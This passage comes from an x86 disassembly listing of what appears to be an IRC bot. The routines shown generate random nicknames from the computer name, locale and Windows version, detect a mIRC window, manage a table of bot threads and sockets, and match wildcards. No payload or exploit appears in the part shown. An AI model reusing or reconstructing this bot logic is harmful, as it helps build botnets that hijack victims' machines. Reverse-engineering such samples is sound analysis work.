add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AC69 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40ACB6(char *Dest)
sub_40ACB6 proc near ; CODE XREF: sub_40B08E+49p
; DATA XREF: .data:off_42DC88o
Dest = dword ptr 4
push esi
push edi
call ds:dword_4270A8 ; GetTickCount
push eax
call sub_41B8D8
pop ecx
call _rand
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+8+Dest]
push off_42DCF0[edx*4]
push offset aS_6 ; "%s"
push 1Ch ; Count
push edi ; Dest
call __snprintf
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AD1E
loc_40ACF8: ; CODE XREF: sub_40ACB6+66j
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch ; Count
push edi ; Dest
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ACF8
loc_40AD1E: ; CODE XREF: sub_40ACB6+40j
mov eax, edi
pop edi
pop esi
retn
sub_40ACB6 endp
; ---------------------------------------------------------------------------
push esi
push edi
call ds:dword_4270A8 ; GetTickCount
push eax
call sub_41B8D8
mov edi, [esp+10h]
mov dword ptr [esp], offset asc_42913C ; "-"
push offset aS_6 ; "%s"
push 1Ch
push edi
call __snprintf
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AD7C
loc_40AD56: ; CODE XREF: .text:0040AD7Aj
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AD56
loc_40AD7C: ; CODE XREF: .text:0040AD54j
mov eax, edi
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_40AD81 proc near ; CODE XREF: sub_401ACD+69CDp
arg_0 = dword ptr 4
push ebx
push esi
push edi
call ds:dword_4270A8 ; GetTickCount
push eax
call sub_41B8D8
pop ecx
call _rand
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_429098
test esi, esi
jle short loc_40ADC4
loc_40ADAE: ; CODE XREF: sub_40AD81+41j
call _rand
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40ADAE
loc_40ADC4: ; CODE XREF: sub_40AD81+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40AD81 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
call ds:dword_4270A8 ; GetTickCount
push eax
call sub_41B8D8
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_431948
push eax
push esi
call ds:dword_4270C0 ; GetComputerNameA
movsx eax, byte_431948
push 41h
pop ecx
push 1
pop edx
loc_40AE0A: ; CODE XREF: .text:0040AE15j
cmp eax, ecx
jnz short loc_40AE11
mov [ebp-4], edx
loc_40AE11: ; CODE XREF: .text:0040AE0Cj
inc ecx
cmp ecx, 5Bh
jl short loc_40AE0A
push 61h
pop ecx
loc_40AE1A: ; CODE XREF: .text:0040AE25j
cmp eax, ecx
jnz short loc_40AE21
mov [ebp-4], edx
loc_40AE21: ; CODE XREF: .text:0040AE1Cj
inc ecx
cmp ecx, 7Bh
jl short loc_40AE1A
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call __snprintf
xor esi, esi
add esp, 0Ch
cmp dword_429098, esi
jle short loc_40AE66
loc_40AE40: ; CODE XREF: .text:0040AE64j
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AE40
loc_40AE66: ; CODE XREF: .text:0040AE3Ej
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call ds:dword_4270A8 ; GetTickCount
push eax
call sub_41B8D8
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call ds:dword_4270C4 ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_43194C
push 1Ch
push edi
call __snprintf
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AEDB
loc_40AEB5: ; CODE XREF: .text:0040AED9j
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AEB5
loc_40AEDB: ; CODE XREF: .text:0040AEB3j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_43D808
mov dword ptr [ebp-94h], 94h
call ds:dword_4270C8 ; GetVersionExA
call ds:dword_4270A8 ; GetTickCount
push eax
call sub_41B8D8
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40AF65
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AF45
cmp dword ptr [ebp-84h], 1
jnz short loc_40AF35
mov esi, offset a95 ; "95"
loc_40AF35: ; CODE XREF: .text:0040AF2Ej
cmp dword ptr [ebp-84h], 2
jnz short loc_40AFA1
mov esi, offset aNt_0 ; "NT"
jmp short loc_40AFA1
; ---------------------------------------------------------------------------
loc_40AF45: ; CODE XREF: .text:0040AF25j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40AF55
mov esi, offset a98 ; "98"
jmp short loc_40AFA1
; ---------------------------------------------------------------------------
loc_40AF55: ; CODE XREF: .text:0040AF4Cj
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40AF9C
mov esi, offset aMe_0 ; "ME"
jmp short loc_40AFA1
; ---------------------------------------------------------------------------
loc_40AF65: ; CODE XREF: .text:0040AF1Cj
cmp dword ptr [ebp-90h], 5
jnz short loc_40AF9C
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AF7E
mov esi, offset a2k ; "2K"
jmp short loc_40AFA1
; ---------------------------------------------------------------------------
loc_40AF7E: ; CODE XREF: .text:0040AF75j
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40AF8E
mov esi, offset aXp ; "XP"
jmp short loc_40AFA1
; ---------------------------------------------------------------------------
loc_40AF8E: ; CODE XREF: .text:0040AF85j
cmp dword ptr [ebp-8Ch], 2
mov esi, offset a2k3 ; "2K3"
jz short loc_40AFA1
loc_40AF9C: ; CODE XREF: .text:0040AF5Cj
; .text:0040AF6Cj
mov esi, offset a??? ; "???"
loc_40AFA1: ; CODE XREF: .text:0040AF3Cj
; .text:0040AF43j ...
mov edi, [ebp+8]
push esi
push offset aS_0 ; "[%s]|"
push 1Ch
push edi
call __snprintf
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AFE5
loc_40AFBF: ; CODE XREF: .text:0040AFE3j
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AFBF
loc_40AFE5: ; CODE XREF: .text:0040AFBDj
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40AFEB(char *Dest)
sub_40AFEB proc near ; CODE XREF: sub_40B08E+5Cp
Source = byte ptr -1Ch
Dest = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call ds:dword_4270A8 ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc_0 ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_40B03A
call dword_4CB660 ; FindWindowA
test eax, eax
mov eax, offset aM ; "[M]"
jnz short loc_40B023
mov eax, offset byte_43D808
loc_40B023: ; CODE XREF: sub_40AFEB+31j
push eax
push esi
push offset aDS ; "[%d]%s"
lea eax, [ebp+Source]
push 1Ch ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp short loc_40B05A
; ---------------------------------------------------------------------------
loc_40B03A: ; CODE XREF: sub_40AFEB+22j
call dword_4CB660 ; FindWindowA
test eax, eax
mov eax, offset aM ; "[M]"
jnz short loc_40B04E
mov eax, offset byte_43D808
loc_40B04E: ; CODE XREF: sub_40AFEB+5Cj
push eax ; Format
lea eax, [ebp+Source]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_40B05A: ; CODE XREF: sub_40AFEB+4Dj
lea eax, [ebp+Source]
push eax ; Str
call _strlen
pop ecx
cmp eax, 2
pop esi
jbe short loc_40B089
push 1Ch ; Count
lea eax, [ebp+Source]
push [ebp+Dest] ; Source
push eax ; Dest
call _strncat
lea eax, [ebp+Source]
push 1Ch ; Count
push eax ; Source
push [ebp+Dest] ; Dest
call _strncpy
add esp, 18h
loc_40B089: ; CODE XREF: sub_40AFEB+7Dj
mov eax, [ebp+Dest]
leave
retn
sub_40AFEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B08E(char *Dest,int,int,char *Str1)
sub_40B08E proc near ; CODE XREF: sub_4017ED+7Fp
; sub_401955+50p ...
Dest = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Str1 = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_42DC84
loc_40B09A: ; CODE XREF: sub_40B08E+3Fj
cmp [ebp+Str1], 0
jz short loc_40B0B5
lea eax, [esi-0Ch]
push eax ; Str2
push [ebp+Str1] ; Str1
call _strcmp
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B0BF
; ---------------------------------------------------------------------------
loc_40B0B5: ; CODE XREF: sub_40B08E+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40B0BF: ; CODE XREF: sub_40B08E+25j
test eax, eax
jnz short loc_40B0D1
add esi, 14h
inc edi
cmp esi, offset off_42DCFC
jb short loc_40B09A
jmp short loc_40B0DF
; ---------------------------------------------------------------------------
loc_40B0D1: ; CODE XREF: sub_40B08E+33j
push [ebp+Dest] ; Dest
lea eax, [edi+edi*4]
call off_42DC88[eax*4]
pop ecx
loc_40B0DF: ; CODE XREF: sub_40B08E+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40B0F2
push [ebp+Dest] ; Dest
call sub_40AFEB
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40B0F2: ; CODE XREF: sub_40B08E+57j
mov eax, [ebp+Dest]
pop ebp
retn
sub_40B08E endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40B0F7(char *Source,int,int)
sub_40B0F7 proc near ; CODE XREF: WinMain(x,x,x,x)+378p
; WinMain(x,x,x,x)+3B7p ...
Source = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_43E390
loc_40B0FF: ; CODE XREF: sub_40B0F7+18j
cmp byte ptr [eax], 0
jz short loc_40B113
add eax, 234h
inc edi
cmp eax, offset dword_4CB390
jl short loc_40B0FF
jmp short loc_40B15E
; ---------------------------------------------------------------------------
loc_40B113: ; CODE XREF: sub_40B0F7+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh ; Count
push [esp+0Ch+Source] ; Source
lea eax, dword_43E390[esi]
push eax ; Dest
call _strncpy
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_43E590[esi], eax
and dword_43E594[esi], 0
mov eax, [esp+8+arg_8]
and dword_43E598[esi], 0
mov dword_43E59C[esi], eax
and byte_43E5A8[esi], 0
pop esi
loc_40B15E: ; CODE XREF: sub_40B0F7+1Aj
mov eax, edi
pop edi
retn
sub_40B0F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B162 proc near ; DATA XREF: sub_401ACD+298Ao
var_98 = dword ptr -98h
Str = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
push [ebp+var_10] ; int
mov dword ptr [eax+94h], 1
lea eax, [ebp+Str]
push [ebp+var_C] ; int
push eax ; Str
push [ebp+var_98] ; int
call sub_40B1B4
push [ebp+var_14]
call sub_40B413
add esp, 14h
push 0
call ds:dword_4270CC ; ExitThread
pop edi
pop esi
sub_40B162 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B1B4(int,char *Str,int,int)
sub_40B1B4 proc near ; CODE XREF: sub_40B162+38p
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0 ; int
push [ebp+arg_8] ; int
push offset dword_431A80 ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 14h
xor edi, edi
mov esi, offset dword_43E390
loc_40B1DE: ; CODE XREF: sub_40B1B4+78j
cmp byte ptr [esi], 0
jz short loc_40B21F
cmp [ebp+arg_C], 0
jnz short loc_40B1F2
cmp dword ptr [esi+204h], 0
jnz short loc_40B21F
loc_40B1F2: ; CODE XREF: sub_40B1B4+33j
push esi
push edi
lea eax, [ebp+Dest]
push offset aD_S ; "%d. %s"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 24h
loc_40B21F: ; CODE XREF: sub_40B1B4+2Dj
; sub_40B1B4+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_4CB390
jl short loc_40B1DE
pop edi
pop esi
leave
retn
sub_40B1B4 endp
; =============== S U B R O U T I N E =======================================
sub_40B232 proc near ; CODE XREF: sub_401ACD+7BA5p
; sub_40B2C0+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40B2BA
cmp esi, 400h
jge short loc_40B2BA
imul esi, 234h
push edi
push ebx
push dword_43E5A4[esi]
lea edi, dword_43E5A4[esi]
call ds:dword_4270AC ; TerminateThread
cmp [edi], ebx
jz short loc_40B26A
push 1
pop ebp
loc_40B26A: ; CODE XREF: sub_40B232+33j
mov [edi], ebx
lea edi, dword_43E598[esi]
mov dword_43E590[esi], ebx
mov dword_43E594[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40B28B
push eax
call sub_4199CA
pop ecx
loc_40B28B: ; CODE XREF: sub_40B232+50j
mov [edi], ebx
lea edi, dword_43E59C[esi]
mov byte ptr dword_43E390[esi], bl
mov byte_43E5A8[esi], bl
push dword ptr [edi]
call dword_4CB6EC ; closesocket
lea esi, dword_43E5A0[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4CB6EC ; closesocket
mov [esi], ebx
pop edi
loc_40B2BA: ; CODE XREF: sub_40B232+Dj
; sub_40B232+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40B232 endp
; =============== S U B R O U T I N E =======================================
sub_40B2C0 proc near ; CODE XREF: sub_40111D+18p
; WinMain(x,x,x,x):loc_4017D9p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_43E390
loc_40B2CC: ; CODE XREF: sub_40B2C0+2Aj
cmp byte ptr [esi], 0
jz short loc_40B2DD
push edi
call sub_40B232
test eax, eax
pop ecx
jz short loc_40B2DD
inc ebx
loc_40B2DD: ; CODE XREF: sub_40B2C0+Fj
; sub_40B2C0+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4CB390
jl short loc_40B2CC
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B2C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2F2 proc near ; CODE XREF: sub_401ACD+418Fp
; sub_401ACD+42E1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_43E594
loc_40B306: ; CODE XREF: sub_40B2F2+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B328
test edi, edi
jle short loc_40B31A
cmp [esi], edi
jz short loc_40B31A
cmp ebx, edi
jnz short loc_40B328
loc_40B31A: ; CODE XREF: sub_40B2F2+1Ej
; sub_40B2F2+22j
push ebx
call sub_40B232
test eax, eax
pop ecx
jz short loc_40B328
inc [ebp+var_4]
loc_40B328: ; CODE XREF: sub_40B2F2+1Aj
; sub_40B2F2+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4CB594
jl short loc_40B306
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B2F2 endp
; =============== S U B R O U T I N E =======================================
sub_40B33F proc near ; CODE XREF: WinMain(x,x,x,x)+40Fp
; sub_401ACD+97Ap ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_43E590
loc_40B346: ; CODE XREF: sub_40B33F+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B34F
inc eax
loc_40B34F: ; CODE XREF: sub_40B33F+Dj
add ecx, 234h
cmp ecx, offset dword_4CB590
jl short loc_40B346
retn
sub_40B33F endp
; =============== S U B R O U T I N E =======================================
sub_40B35E proc near ; CODE XREF: sub_401ACD+2434p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_43E590
loc_40B368: ; CODE XREF: sub_40B35E+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B381
add ecx, 234h
inc edx
cmp ecx, offset dword_4CB590
jl short loc_40B368
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B381: ; CODE XREF: sub_40B35E+10j
mov eax, edx
pop esi
retn
sub_40B35E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B385(int,int,int,int,int,int,int,char *Str)
sub_40B385 proc near ; CODE XREF: sub_401ACD+1067p
; sub_401ACD+126Dp ...
Dest = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
Str = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+Str], eax
jz short loc_40B39E
push [ebp+Str] ; Str
call _atoi
pop ecx
loc_40B39E: ; CODE XREF: sub_40B385+Ej
push eax
push [ebp+arg_18]
call sub_40B2F2
pop ecx
test eax, eax
pop ecx
jle short loc_40B3CA
push eax
lea eax, [ebp+Dest]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax ; Dest
call _sprintf
add esp, 14h
jmp short loc_40B3E4
; ---------------------------------------------------------------------------
loc_40B3CA: ; CODE XREF: sub_40B385+26j
push [ebp+arg_14]
lea eax, [ebp+Dest]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax ; Dest
call _sprintf
add esp, 10h
loc_40B3E4: ; CODE XREF: sub_40B385+43j
cmp [ebp+arg_C], 0
jnz short loc_40B404
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 14h
loc_40B404: ; CODE XREF: sub_40B385+63j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
pop ecx
leave
retn
sub_40B385 endp
; =============== S U B R O U T I N E =======================================
sub_40B413 proc near ; CODE XREF: sub_4017ED+159p
; sub_40B162+40p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_43E5A4[eax], ecx
mov dword_43E590[eax], ecx
mov dword_43E594[eax], ecx
mov dword_43E598[eax], ecx
mov dword_43E59C[eax], ecx
mov dword_43E5A0[eax], ecx
mov byte ptr dword_43E390[eax], cl
mov byte_43E5A8[eax], cl
retn
sub_40B413 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B450 proc near ; CODE XREF: sub_401ACD+7E3Cp
; sub_40B57E+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_40B45A: ; CODE XREF: sub_40B450+68j
mov cl, [esi]
test cl, cl
jz short loc_40B4BA
cmp eax, 1
jnz short loc_40B4BA
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40B4BA
cmp cl, 2Ah
jz short loc_40B4A1
cmp cl, 3Fh
jz short loc_40B484
cmp cl, 5Bh
jz short loc_40B489
xor eax, eax
cmp cl, dl
setz al
loc_40B484: ; CODE XREF: sub_40B450+26j
inc [ebp+arg_4]
jmp short loc_40B4B4
; ---------------------------------------------------------------------------
loc_40B489: ; CODE XREF: sub_40B450+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40B4E6
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40B4B4
; ---------------------------------------------------------------------------
loc_40B4A1: ; CODE XREF: sub_40B450+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B57E
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_40B4B4: ; CODE XREF: sub_40B450+37j
; sub_40B450+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B45A
; ---------------------------------------------------------------------------
loc_40B4BA: ; CODE XREF: sub_40B450+Ej
; sub_40B450+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_40B4CA
cmp eax, 1
jnz short loc_40B4E1
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B4BA
; ---------------------------------------------------------------------------
loc_40B4CA: ; CODE XREF: sub_40B450+6Dj
cmp eax, 1
jnz short loc_40B4E1
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40B4E1
cmp byte ptr [esi], 0
jnz short loc_40B4E1
push 1
pop eax
jmp short loc_40B4E3
; ---------------------------------------------------------------------------
loc_40B4E1: ; CODE XREF: sub_40B450+72j
; sub_40B450+7Dj ...
xor eax, eax
loc_40B4E3: ; CODE XREF: sub_40B450+8Fj
pop esi
pop ebp
retn
sub_40B450 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B4E6 proc near ; CODE XREF: sub_40B450+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40B507
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40B507: ; CODE XREF: sub_40B4E6+19j
push ebx
push esi
loc_40B509: ; CODE XREF: sub_40B4E6+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40B517
cmp [ebp+var_4], eax
jnz short loc_40B563
loc_40B517: ; CODE XREF: sub_40B4E6+2Aj
test edi, edi
jnz short loc_40B558
cmp bl, 2Dh
jnz short loc_40B54C
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_40B54C
cmp al, 5Dh
jz short loc_40B54C
cmp [ebp+var_4], edi
jnz short loc_40B54C
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40B558
cmp bl, al
jg short loc_40B558
push 1
mov [edx], esi
pop edi
jmp short loc_40B558
; ---------------------------------------------------------------------------
loc_40B54C: ; CODE XREF: sub_40B4E6+38j
; sub_40B4E6+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40B558
push 1
pop edi
loc_40B558: ; CODE XREF: sub_40B4E6+33j
; sub_40B4E6+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_40B509
; ---------------------------------------------------------------------------
loc_40B563: ; CODE XREF: sub_40B4E6+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40B570
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40B570: ; CODE XREF: sub_40B4E6+82j
cmp edi, eax
jnz short loc_40B579
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40B579: ; CODE XREF: sub_40B4E6+8Cj
mov eax, edi
pop edi
leave
retn
sub_40B4E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B57E proc near ; CODE XREF: sub_40B450+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_40B59A: ; CODE XREF: sub_40B57E+3Aj
cmp [eax], bl
jz short loc_40B5BA
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_40B5AF
cmp cl, 2Ah
jnz short loc_40B5BA
cmp cl, 3Fh
jnz short loc_40B5B2
loc_40B5AF: ; CODE XREF: sub_40B57E+25j
inc eax
mov [edi], eax
loc_40B5B2: ; CODE XREF: sub_40B57E+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_40B59A
; ---------------------------------------------------------------------------
loc_40B5BA: ; CODE XREF: sub_40B57E+1Ej
; sub_40B57E+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_40B5C5
inc dword ptr [esi]
jmp short loc_40B5BA
; ---------------------------------------------------------------------------
loc_40B5C5: ; CODE XREF: sub_40B57E+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_40B5E6
mov edx, [esi]
cmp [edx], bl
jz short loc_40B5D7
xor eax, eax
jmp short loc_40B646
; ---------------------------------------------------------------------------
loc_40B5D7: ; CODE XREF: sub_40B57E+53j
cmp cl, bl
jnz short loc_40B5E6
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_40B5E6
push 1
pop eax
jmp short loc_40B646
; ---------------------------------------------------------------------------
loc_40B5E6: ; CODE XREF: sub_40B57E+4Dj
; sub_40B57E+5Bj ...
push eax
push dword ptr [esi]
call sub_40B450
pop ecx
test eax, eax
pop ecx
jnz short loc_40B630
loc_40B5F4: ; CODE XREF: sub_40B57E+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_40B5F8: ; CODE XREF: sub_40B57E+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_40B610
cmp cl, 5Bh
jz short loc_40B610
cmp dl, bl
jz short loc_40B610
inc eax
mov [edi], eax
jmp short loc_40B5F8
; ---------------------------------------------------------------------------
loc_40B610: ; CODE XREF: sub_40B57E+82j
; sub_40B57E+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_40B627
push eax
push dword ptr [esi]
call sub_40B450
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B62C
; ---------------------------------------------------------------------------
loc_40B627: ; CODE XREF: sub_40B57E+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_40B62C: ; CODE XREF: sub_40B57E+A7j
cmp eax, ebx
jnz short loc_40B5F4
loc_40B630: ; CODE XREF: sub_40B57E+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_40B643
mov eax, [esi]
cmp [eax], bl
jnz short loc_40B643
mov [ebp+var_4], 1
loc_40B643: ; CODE XREF: sub_40B57E+B6j
; sub_40B57E+BCj
mov eax, [ebp+var_4]
loc_40B646: ; CODE XREF: sub_40B57E+57j
; sub_40B57E+66j
pop edi
pop esi
pop ebx
leave
retn
sub_40B57E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B64B(int,char *Str,int)
sub_40B64B proc near ; CODE XREF: sub_401ACD+2AF6p
Source = byte ptr -400h
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+Dest]
push offset asc_431E9C ; "-"
push eax ; Dest
xor ebx, ebx
call _sprintf
cmp dword_431B00, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40B6BD
push esi
mov esi, offset dword_431B08
loc_40B67E: ; CODE XREF: sub_40B64B+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40B6B3
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+Source]
push offset asc_431E90 ; " "
push eax ; Dest
